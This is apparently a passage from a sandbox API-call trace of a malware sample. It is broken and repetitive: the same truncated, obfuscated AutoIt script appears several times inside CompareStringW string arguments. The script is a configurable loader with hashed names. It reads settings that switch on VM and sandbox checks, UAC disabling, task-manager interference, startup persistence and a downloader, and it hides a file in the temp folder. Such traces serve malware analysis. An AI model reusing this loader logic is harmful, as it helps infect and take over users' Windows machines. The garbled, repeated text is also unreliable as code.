$A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tt", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tti", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Global Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3ttin", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' 